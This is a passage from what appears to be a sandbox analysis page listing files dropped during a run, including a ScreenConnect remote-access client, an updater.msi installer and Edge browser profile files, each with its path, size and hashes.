SHA512 8d51b2cd5f21c211eb8fea4b69dc9f91dffa7bb004d9780c701de35eac616e02ca30ef3882d73412f7eab1211c5aa908338f3fa10fdf05b110f62b8ecd9d24c2
SSDEEP 1536:Eg1s9pgbNBAklbZfe2+zRVdHeDxGXAorrCnBsWBcd6myJkggU0HMx790K:dhbNDxZGXfdHrX7rAc6myJkggU0HqB
TLSH
T1B7935B13B5C28872D473093158E0DAB49A3FF9215E61DEAB3798022E4F741C1AE75EB7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsAuthenticationPackage.dll

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsAuthenticationPackage.dll
Size 254KB
SHA256 a5b8f0070201e4f26260af6a25941ea38bd7042aefd48cd68b9acf951fa99ee5
MD5 5adcb5ae1a1690be69fd22bdf3c2db60
SHA1 09a802b06a4387b0f13bf2cda84f53ca5bdc3785
SHA512 812be742f26d0c42fdde20ab4a02f1b47389f8d1acaa6a5bb3409ba27c64be444ac06d4129981b48fa02d4c06b526cb5006219541b0786f8f37cf2a183a18a73
SSDEEP 3072:qJvChyA4m2zNGvxDd6Q6dtaVNVrlaHpFahvJ9ERnWtMG8Ff2lt9Bgcld5aaYxg:0IvxDdL6d8VNdlC3g0RCXh5D
TLSH
T1C5448E15B7A40CB4EC77823888535A06E776BC160760E6CF03E0825ADF6F7D1A63E762
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe
Size 588KB
SHA256 600cf10e27311e60d32722654ef184c031a77b5ae1f8abae8891732710afee31
MD5 1778204a8c3bc2b8e5e4194edbaf7135
SHA1 0203b65e92d2d1200dd695fe4c334955befbddd3
SHA512 a902080ff8ee0d9aeffa0b86e7980457a4e3705789529c82679766580df0dc17535d858fbe50731e00549932f6d49011868dee4181c6716c36379ad194b0ed69
SSDEEP 6144:fybAk1FVMVTZL/4TvqpU0pSdRW3akod1sI5mgve8mZXuRFtSc4q2/R4IEyxuV5AN:qbAOwJ/MvIFptJoR5NmtiFsxsFE
TLSH
T168D46D2677B8DB6BC9EF073AB0B15E2457B0E8036686D78E48A4B5D90DC738149093F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.WindowsClient.exe.config

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsClient.exe.config
Size 266B
SHA256 87c640d3184c17d3b446a72d5f13d643a774b4ecc7afbedfd4e8da7795ea8077
MD5 728175e20ffbceb46760bb5e1112f38b
SHA1 2421add1f3c9c5ed9c80b339881d08ab10b340e3
SHA512 fb9b57f4e6c04537e8fdb7cc367743c51bf2a0ad4c3c70dddab4ea0cf9ff42d5aeb9d591125e7331374f8201cebf8d0293ad934c667c1394dc63ce96933124e7
TLSH
T12CD05E5418D4FC1B5E324A6767628959EF70E2D280A84808B49F1573062309A4397322
MD5 SHA1 SHA512 TLSH

Submit Download

ScreenConnect.WindowsCredentialProvider.dll

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\ScreenConnect.WindowsCredentialProvider.dll
Size 822KB
SHA256 7a80e8f654b9ddb15dda59ac404d83dbaf4f6eafafa7ecbefc55506279de553d
MD5 be74ab7a848a2450a06de33d3026f59e
SHA1 21568dcb44df019f9faf049d6676a829323c601e
SHA512 2643d649a642220ceee121038fe24ea0b86305ed8232a7e5440dffc78270e2bda578a619a76c5bb5a5a6fe3d9093e29817c5df6c5dd7a8fbc2832f87aa21f0cc
SSDEEP 12288:q9vy8YABMuiAoPyEIrJs7jBjaau+EAaMVtw:P8Y4MuiAoPyZrJ8jrvDVtw
TLSH
T10C055C1BE79840B9D0ADC2B5D31B9636BBB6F4864514B68F07D40A227E2FF50AF1C394
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

app.config

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\app.config
Size 1KB
SHA256 224cdbc72be0f3051e4d3b5981b5ad5c464bb6b3186b181e4b381e427dd8af2f
MD5 27ba9fc06856ba0de5f72dcf73802631
SHA1 ef8cd947af635f9454b75150dc30c0d387397940
SHA512 ca94f287c5b22df0b283b46cf04e91d4ee3db57f4745146ee4ca026754de9d31a007440e43fbcf70839f76f755c2ffc5018efb682af9308679e820160c8445cb
TLSH
T17441601DB5C0AF9915B25631E73152D1EC6009335266B0E0B8DE316B9F70ECA4BF32EA
MD5 SHA1 SHA512 TLSH

Submit Download

system.config

Path C:\Program Files (x86)\ScreenConnect Client (dced0c98722de943)\system.config
Size 953B
SHA256 043608b256fc31eb8c1b3ef2e3d01267dd7b56eaf0bad02299e7d3d466a658d4
MD5 95811cd3baaa245f40a2e48531bed87f
SHA1 942f56f0dcebd02530fff526c55edf208058c37f
SHA512 232a380dc29c7341f9e59fb2aad5c988948c18473fd66a0ffd86441caab4ce2991c191da43147b681d06816273a8d2522f2c3c963b51b7e4cb5f132b8e4373f5
TLSH
T17011DC702584BD4703B35D23C1114B84AF766E8B1A6410DCB5BF523BAB719CF07A328D
MD5 SHA1 SHA512 TLSH

Submit Download

blocklist

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist
Size 105KB
SHA256 9420686d12b2cba6dc69896d607eadac629280a010e5358a4872ab9753f24ed7
MD5 8be6e81804d8b903ae07c11b2e53e3d9
SHA1 817c41cb00b05a8f2040323b93c6416b92dbc01b
SHA512 c2cfff48ebb312975aa2615d841d0badff185589ad3a3f5e8420c2ea0eb5dc0e5354d917cc43d57bec169a63d4fa21d66e91dc3e195592ece23d37fff7c04680
SSDEEP 1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P7R:fwUQC5VwBIiElEd2K57P7R
TLSH
T1CDB3B931457E36BF26E93EE828CF1511B84F3912624895D4ABE1FE2C4845E68633CEF4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 a54d1be6da491be16ecc22dac3ad8cfbe4eabb017451e32c26f2904977fde58e
MD5 9daa45ac0383b3b978ad8da2d5000b62
SHA1 f52083ce5d095366a6fa9406b8b49000fcb53bc0
SHA512 ac55ccfd63460f712cd2ffb1ff656349475683b1ec07abd198254ac469a634f7129cf280de184340d8314fe2b8f7e955f7a112deb1511d52de882ae801a7c1af
TLSH
T17DD09B9D6686AE54DD80343134A1E34B9A18F522642C464880177054CCA464246571FF
MD5 SHA1 SHA512 TLSH

Submit Download

settings.dat

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat
Size 280B
SHA256 3f51b0e24e52d8511f72e348c132f84b6b8edb54027a5c8c4fbe2a976322a690
MD5 e32f775acc5ed08adf9d5f6678c2bc4d
SHA1 bd5f4d60c6c8f97a1fed276a8c02ca345e30bb2a
SHA512 2b2fef021516ee5e90b192840780767fff5c147cfb2dfe5b900a8b298d542111707f16c28e265447d090c61e8e091b3529eb29ff376abe03cd34315206805eba
TLSH
T1DAD09B996686AD54DD80343534A1E34B9A18F522102C46488117B064CCA464246561FF
MD5 SHA1 SHA512 TLSH

Submit Download

BookmarkMergedSurfaceOrdering

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BookmarkMergedSurfaceOrdering
Size 6B
SHA256 4489f9e3e454748b3521eb214e0a5694d562cff3d9ff511cb456953c8f534c00
MD5 377d072e137022223a370760763420bb
SHA1 534e5f914ae99bf0a342a2f7a7e0724bd0d11ef7
SHA512 d1e37e45e8d603c46c9254d7295744104222b09340246c5e5f50d661d4688ccc2068adf1e0cd78599bcdcf475f8a0a6255dcd3e429812aa14cc2e2022309955c
MD5 SHA1 SHA512

Submit Download

the-real-index

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index
Size 2KB
SHA256 83c261226013147ee9474a8c1444cabf0c2a80108f7969d6b6720d0d2a713c5f
MD5 40c31ff371f83a913a57ab8b5f63995e
SHA1 76548dc152106e65478042502b2402867d612da3
SHA512 eae3a24687d9b4a00b1659950f378405680835f10f23b280c5468d74cdc7b8a90ff840a48e6e7b665c5a793b496ea46655936755b996f737a87f4088723723f5
TLSH
T16B5166000B71C3F1EBA65C7FA2E37E8536B54A5501E3BEC3A09DB67D6906F899B01C50
MD5 SHA1 SHA512 TLSH

Submit Download

the-real-index~RFe593b98.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir\the-real-index~RFe593b98.TMP
Size 2KB
SHA256 3956e13178d86443cf56f18907c22410cd5a647a7dcec89406de0fbfafc6536d
MD5 18658b600f5c68259136153bfd770872
SHA1 127c7630dcac47e26ae5514b9b1832280fe21574
SHA512 0ca7a0845ecabfde0e04476072c8cf1b1c26e46c847320646759d618a2fc376ab7c37d2973d5ddbe5e18ac9c7b486de92c46553bc4f16f0381648c9ec64c20a6
TLSH
T17B4158000F31C7F2EBA55C7E92E33B8536B48B5901D7AED1A05DB67D590AF898B01C50
MD5 SHA1 SHA512 TLSH

Submit Download

SiteList-Enterprise.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine\SiteList-Enterprise.json
Size 2B
SHA256 44136fa355b3678a1146ad16f7e8649e94fb4fc21fe77e8310c060f61caaff8a
MD5 99914b932bd37a50b983c5e7c90ae93b
SHA1 bf21a9e8fbc5a3846fb05b4fa0859e0917b2202f
SHA512 27c74670adb75075fad058d5ceaf7b20c4e7786c83bae8a32f626f9782af34c9a33c2046ef60fd2a7878d378e29fec851806bbd9a67878f3a9f1cda4830763fd
MD5 SHA1 SHA512

Submit Download

Edge Profile.ico

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Edge Profile.ico
Size 70KB
SHA256 31a226211c491e1b0832d4cd3cf34d97165e24a7ce4ec655259cd188f3a2bd88
MD5 efe54a870e0f5ff28d7e00036b861065
SHA1 10663a71c9815382ca5a1689dfcebe737c557b1d
SHA512 4d7ed9d3e22a58f0e169c9200e351d3a938c82ab7920567f67bf29d33b28192329ea05657d1077aebaf2c2b5151eb50c84e5ab590733ff824389566d93381c01
SSDEEP 1536:fAlMWz7vLDtDSVlXXwpFlorgLUxF+nubjUDSlBczkF1D/u1:fvuWAUxFDbY+0zkjDG1
TLSH
T1DA639F406A6479E8E814CBF59C69B7D30B95CFDC51A252E831F4FE7AB681494C90CFC4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

HubApps

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\HubApps
Size 106KB
SHA256 eb2fd7422436fff93f6be09df3294b26cdb7afd18e6aa94dcdc0f208db78b2ed
MD5 25dca813dd764f2197142ef84bc5ce66
SHA1 8d6aefb01ee9f6d1fb0cfd89326cfe35af53a53d
SHA512 a9c8cd547c874b7b69cbb3a0c8214f43837911e522db768dcd075d23d05acfd7122cf2bcad281ea745025e4fb67cc9061b79f9dc1288ac1a113bd0d961841d43
SSDEEP 1536:IfEEtnH74ohBGZqW3iPPDuVvpBI/SvtZsA62UYPq:BuHSRhPjU1
TLSH
T154B35226D6A54C6B01F16264EC794382F325436F9282A82F3B7C5D5C2FBD93A6502F7C
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Network Persistent State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State
Size 2KB
SHA256 e5a1e7dbcac55439f3fbef9b3276511ccff4b032bc9069e3ae8d892779240b7a
MD5 39e49608839ee905fc23003dc3d5b411
SHA1 e5436eaea12f0c9eff668d21761eedfb3a3bb192
SHA512 5a9d459d47a81436cd230aa1036671442c93d220159026541206bd3f78da3e732f538a0a88482880c1e20a25f65147e992b5d5d85db957590fbd851ce317e1f3
TLSH
T15841CEF7C7E4862EC91196F0AB146E1BCE2D0915432C3D5A89E4EE1BA3E2471E141A5F
MD5 SHA1 SHA512 TLSH

Submit Download

SCT Auditing Pending Reports

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports
Size 2B
SHA256 4f53cda18c2baa0c0354bb5f9a3ecbe5ed12ab4d8e11ba873c2f11161202b945
MD5 d751713988987e9331980363e24189ce
SHA1 97d170e1550eee4afc0af065b78cda302a97674c
SHA512 b25b294cb4deb69ea00a4c3cf3113904801b6015e5956bd019a8570b1fe1d6040e944ef3cdee16d0a46503ca6e659a25f21cf9ceddc13f352a3c98138c15d6af
MD5 SHA1 SHA512

Submit Download

Sdch Dictionaries

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries
Size 40B
SHA256 6028bd681dbf11a0a58dde8a0cd884115c04caa59d080ba51bde1b086ce0079d
MD5 20d4b8fa017a12a108c87f540836e250
SHA1 1ac617fac131262b6d3ce1f52f5907e31d5f6f00
SHA512 507b2b8a8a168ff8f2bdafa5d9d341c44501a5f17d9f63f3d43bd586bc9e8ae33221887869fa86f845b7d067cb7d2a7009efd71dda36e03a40a74fee04b86856
MD5 SHA1 SHA512

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 97cd70cbfac3486e50d17ccc36470a8242ef10cbcb42fa5d88cc1124ac942905
MD5 f848cd0c580a59e36896de6077e07d5d
SHA1 155ca0029afeb30ba35d8d993dfe5ade21fce3db
SHA512 b43bab4fb4402442b7fa4e3056df9e3a3056de850c1f4dbaadcb89f4527b4e671d8aee51a7dd6f37423b5b9f821c54781919897aff80ca15402b73234bfef605
SSDEEP 192:sxRKRFyM/jK1Ml8wC2/fms3CEZeZPNPboW8xlzoA8pOb/g6+WNAV9/YDnOwzTtGT:sxRK382/fmsSyY78xI8/5m/kO73
TLSH
T19162D916663499378CDBD21DFA517F53D6F81563A2901E44AAFCDA1C01E7AED220381F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 4e6d4d806fc651e35f3efa7d08b1b394c9f6c305fda5d36073404788ccac47c9
MD5 e74a674b49e1684e677e3b36f4ff6a1f
SHA1 19a36d1e354d6114eaa76a0934d7d557be7b7454
SHA512 7c96fcc4438a961f1ae6f30c4822cc2cc72de8df466748ec1af943b95b0377434d81fefa625e4a07517918f119c5798c57a27edc1cd669c8167ea4dd6247a65c
SSDEEP 192:sxRxRFyM/jK1Ml8wC2/fmsMCEZeZPNPboW8xlzoA8pOb/g6+WNAV9/YDnOwzTtGs:sxRx382/fmsHyY78xI8/5m/kO7A
TLSH
T1D162E816A63499378CDBD21DFA517F53D6F81463A2941E44AAFCDB1C01E76ED220382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
Size 14KB
SHA256 3749b406fa906469400fa1f594b54562c5eb8f765f100bd336c92b8c1a103a48
MD5 9fc1da774e7d783ff0be850b2edb58e4
SHA1 fb06a6db0df556300b1a77866176416dadf43e15
SHA512 92e4ee4fc93f093d14b7f900c821645ca9f9bbd64871adeb4e237091f96f5c8853c1631b5c41ab5d318da948fa93c885ad19cd6d5ebc0a2da6a7e70592d05139
SSDEEP 192:sxRxRFyM/jK1Ml8UQ3C2/fmsMCEZeZPNPboW8xlzoA8p0b/g6+WNAV9/YDNOwzTD:sxRx3qy2/fmsHyY78xIm/5m/oO7A
TLSH
T15D62D816A6349937CCDBD21DFA517F53D6F81462A2941E44AAFCDB1C01E76ED220382F
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Secure Preferences

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
Size 32KB
SHA256 56c7b828b0514b881686eda06b546b18edea4de320ebd7e3fc3f968c6c1d9e03
MD5 7f4801ad1ca201cd1759db615a6bdceb
SHA1 45c09d72e04a82cc5171282d037c581ea7ce0880
SHA512 0a18c8f1b8cdeab8ca02e6e725fd5ecfe32d538d05ec2b2f45d76f67a5556d6f7e5ad32b7ad76dcdef4a33afa6556d5e2c4f0b47f7e43b4a638d17db375b493d
SSDEEP 768:f+4+zH7pLuL7eDWgb/fPI8F1+UoAYDCx9Tuqh0VfUC9xbog/OVUjDIn2Cro7TA:f+4+zBE7eDWgb/fPIu1jazjDw2Z7TA
TLSH
T17CE2EB7B680CCB7E4F404A9DEC29BD9AADE801CF96D8C95447EA890C03C66EB51174DB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

sync_diagnostic.log

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
Size 4KB
SHA256 e8e3827a089133fd66417b822f08d69f0403f8c5e10ed66b683a17b63c1516bc
MD5 13080c0e0a7b4260e1b331b36fe306c2
SHA1 9d77b7911ed479dee37c2882a65b1ff631f4750d
SHA512 601516673c39eabd2bd1db20ea3f87e71ed22c8ea4e45165942b91e43c853f80bac04a628ae2c3c05645d2ca924ed5f25c572cc762013774c691836d4d20a525
SSDEEP 96:KR7kh1DZpVW9yogdVK4kgzVcbDa9puHstY826ucWKHHgEcK4JgOccM8mZl1i7PFm:C7kh1DZpg9yJdfkgzqbDa9puHstY826b
TLSH
T107915614323B028079BD358891649DA782C5B4B73425A43B37AD43D96F27E439FFE4E9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig
Size 22KB
SHA256 d988156066b7fd22de278fbc96759d2caea6552094ffeb2ddd9307806059c5e4
MD5 f768bcb451a187c18099961c484eef8b
SHA1 99472c2d1918ea56c632734bc5c8a89ae6d2551c
SHA512 a4d78de6bcc1e940c466c41c31ee100235b32fef4cb3e7815a9c62dfae1eb3e4588d2c9e8597152ad7754527643c59ea8b811277ac58e4134a3dbf1507fe97bf
SSDEEP 384:90JOk/FY7A42lagbkDtCkQ7wDThH/64+hkmbA6BQpGMgSVlkFIum1z4tfLTvq/ue:WJOk/FY7/2lagbCtCkQ7wDlH/h+umbAJ
TLSH
T131A2B81DC81C7E3257CA2F7D6A2F9DB276DA30CA7080459A7E8CC54DD31B0AD56862BC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

OperationConfig~RFe59c152.TMP

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\OperationConfig~RFe59c152.TMP
Size 3KB
SHA256 8b2e057387e9714efef3580a36459acf56aab53c806cd7d7dbb6e17cef977ef9
MD5 904e6e94a1d46374c8630cfd86cc729f
SHA1 e1d9c3f7813878acc6510d48d95b2bf48b2e1a0d
SHA512 081e2a26252860ff8d8f7a9d0378ae56f0cc50574d13d2a121afdf74284963747ef874a4d73b1df7774cd8570972f4f513eefe0a0325fd088556d5b1ba946712
TLSH
T1DB815C4FCC0CBE77ABAB6A719A35D6B2F79131EA94518A977F8C444EE3050ED0242E50
MD5 SHA1 SHA512 TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 35KB
SHA256 d93d47a93f6092dac245d8315d5d6576e21cf5542603d8c1b2073ce74da8c58b
MD5 d9d09b9169257e77d427cdc679284beb
SHA1 81e43c585466ab8b5e3876423e7c018df57c7a9c
SHA512 39185ff9548a40ae229faa139ba4a03dcada5424676e5cfd2f2a2724b84bb6503f978c1a4b7c2da75f5ff32a8cb6e5e125472fc8573847dbec4b82f9e34402b6
SSDEEP 768:mj+9z3FTkwifd1jVaHuVboPzkZLNx9OFSb9MW:19z3FPlHOawZLNq8b+W
TLSH
T1EFF2BF75A822CD33CC9B83D9B28A3B97AFF0116785C41E88D9E8AF0D05975AD1B07D16
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 44KB
SHA256 b626f532be2d843d225756f4d52e5befbd596e73bbffcb38affbca7b38137dde
MD5 a67a3beeddb16d39a78fab02ea99355c
SHA1 ddbac4d8325ad74d5ca45fdb8a31c1912c33ae14
SHA512 63763963a8472d3bbc17be4439b22a8dbcab73c4a2f17a282c527aac6400b8421170f14a11de1cbd0afd92cd8b3074c5e15f7c8715ac878492177c809f3a672b
SSDEEP 768:kF1j+9z3awg1G5e1jgaHuVboPzkZLNx9OFSb9MW:p9z3wbHOawZLNq8b+W
TLSH
T1D51317F598D38937D89E4787A37D2E469EFCD163B5881988BBD85E0CCC861BFC606811
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 38KB
SHA256 1ddcb44749b7d0a421be46f3222e153c55af378201e3e59e35bc41d657301ee1
MD5 3fc17b9fb97e2e61060cb9c2494c900b
SHA1 bae2841acbac153e4ed361fdba72d43768d09728
SHA512 6b169509a5427dc4ee7bf3cb16b48af926dd84ca7bcb2e3339bbff08d93a3b770c92b509faa69c54a785164201f1ca3216e8a07d434ea7180ea97c02428b13ab
SSDEEP 768:0rv+4UNbdC3O2iwifd0aHuVboPzkZLNx9OZ2Uik4K:0bsbs3Ok0HOawZLNqwUVr
TLSH
T1BF03B036A4749C37CDE79289B28B7A577FF4211385C40B88C9EC2B4D45AB4AD170BE27
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 41KB
SHA256 dd90d1292c035c4fe754e0192574a5f224e4cd64859208043ed8a914488a9b45
MD5 9996a748d0382348d6d4b6a8e51cd8e9
SHA1 c867f198bfdbf7c0c3b185225c25e2a006f035fd
SHA512 027a0bc87cad16863ed04a497ce2506ac74d1a7221aa67374ba395a98cd9220ba305be1164ad129295950b865922316ca2f6c2392aad90ec41c703ac3a635c11
SSDEEP 768:lrv+4UNbdN3SEkwifd1j5aHuVboPzkZLNx9OFSb9M4:lbsbH3SQHHOawZLNq8b+4
TLSH
T18B13CF71B435DD33CDAB9299B18A3A97BFF4215789C40B88D9D86B0C059B4ED2B0BD13
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

e87fcadf-cc45-481c-b0b9-fdcb5e97188d.tmp

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\e87fcadf-cc45-481c-b0b9-fdcb5e97188d.tmp
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir4232_2058381798\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

updater.msi

Path C:\Users\Admin\AppData\Local\Temp\updater.msi
Size 12.7MB
SHA256 b64572b3df55930638db3226d9213d5e55c7165d28ae75782cf72967c2aeffa0
MD5 6557ed877a26fa254bcebb59a474c47a
SHA1 1d9d6928d4f17ae31acd5b2046e3684986976cbf
SHA512 0e7a8cc6e5645ac51abbb984f7efb1f9d14766a572191b9a23b8051cd1d69efaf33155ff5170df73956a28935ed13b373d502ec31a2b6279e302b74b461d7385
SSDEEP 196608:5Wh0cGwvWh0cGrWh0cGSWh0cGOWh0cGCWh0cG6Wh0cGI:5WacVWacGWacxWacFWacXWacdWacp
TLSH
T164D6232523FD441AF8F74B79FD3682A46D72BE64CF21C11E9228B90D2A74D4096727B3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

MSI3704.tmp

Path C:\Windows\Installer\MSI3704.tmp
Size 1.0MB
SHA256 0918d8ab2237368a5cec8ce99261fb07a1a1beeda20464c0f91af0fe3349636b
MD5 8a8767f589ea2f2c7496b63d8ccc2552
SHA1 cc5de8dd18e7117d8f2520a51edb1d165cae64b0
SHA512 518231213ca955acdf37b4501fde9c5b15806d4fc166950eb8706e8d3943947cf85324faee806d7df828485597eceffcfa05ca1a5d8ab1bd51ed12df963a1fe4
SSDEEP 24576:QUUGGHn+rUGemcPe9MpKL4Plb2sZWV+tLv0QYu5OPthT+gd:jGHpRPqMpvlqs0O4iO2k
TLSH
T18C35231873E9C436F5E679385E32A1D205FCBE764E70904E6B99292C0DB0F82D6B4763
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Microsoft.Deployment.WindowsInstaller.dll

Path C:\Windows\Installer\MSI3704.tmp-\Microsoft.Deployment.WindowsInstaller.dll
Size 172KB
SHA256 3e54286e348ebd3d70eaed8174cca500455c3e098cdd1fccb167bc43d93db29d
MD5 5ef88919012e4a3d8a1e2955dc8c8d81
SHA1 c0cfb830b8f1d990e3836e0bcc786e7972c9ed62
SHA512 4544565b7d69761f9b4532cc85e7c654e591b2264eb8da28e60a058151030b53a99d1b2833f11bfc8acc837eecc44a7d0dbd8bc7af97fc0e0f4938c43f9c2684
SSDEEP 3072:FkfZS7FUguxN+77b1W5GR69UgoCaf8TpCnfKlRUjW01Ky4:x+c7b1W4R6joxfQE
TLSH
T14E045B2563FC473ECAEF87B4E2624251E7B2E2E97113DB0DDC8541AA2522780F792753
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Core.dll

Path C:\Windows\Installer\MSI3704.tmp-\ScreenConnect.Core.dll
Size 536KB
SHA256 a2e9752de49d18e885cbd61b29905983d44b4bc0379a244bfabdaa3188c01f0a
MD5 14e7489ffebbb5a2ea500f796d881ad9
SHA1 0323ee0e1faa4aa0e33fb6c6147290aa71637ebd
SHA512 2110113240b7d803d8271139e0a2439dbc86ae8719ecd8b132bbda2520f22dc3f169598c8e966ac9c0a40e617219cb8fe8aac674904f6a1ae92d4ac1e20627cd
SSDEEP 12288:xC2YKhQCNc6kVTplfWL/YTHUYCBdySISYz:HhE6O7WL/EC
TLSH
T12BC47D2233AC9A2EC56E133BB072915DC5F0E906351AF79F76C5E5BC2EC27450E112EA
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.InstallerActions.dll

Path C:\Windows\Installer\MSI3704.tmp-\ScreenConnect.InstallerActions.dll
Size 11KB
SHA256 d727a640723d192aa3ece213a173381682041cb28d8bd71781524dbae3ddbf62
MD5 73a24164d8408254b77f3a2c57a22ab4
SHA1 ea0215721f66a93d67019d11c4e588a547cc2ad6
SHA512 650d4320d9246aaecd596ac8b540bf7612ec7a8f60ecaa6e9c27b547b751386222ab926d0c915698d0bb20556475da507895981c072852804f0b42fdda02b844
SSDEEP 192:V8/Qp6lCJuV3jHXtyVNamVNG1YZfCrMmbfHJ7kjvLjbuLd9NEFbM64:y/cBJaLXt2NaheUrMmb/FkjvLjbuZj64
TLSH
T1F932E70077DC533AE8BE1F78EEB361910A71FB64A011DF2E18CCA1569C367449EA07A3
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ScreenConnect.Windows.dll

Path C:\Windows\Installer\MSI3704.tmp-\ScreenConnect.Windows.dll
Size 1.6MB
SHA256 84a09ed81afc5ff9a17f81763c044c82a2d9e26f852de528112153ee9ab041d0
MD5 9ad3964ba3ad24c42c567e47f88c82b2
SHA1 6b4b581fc4e3ecb91b24ec601daa0594106bcc5d
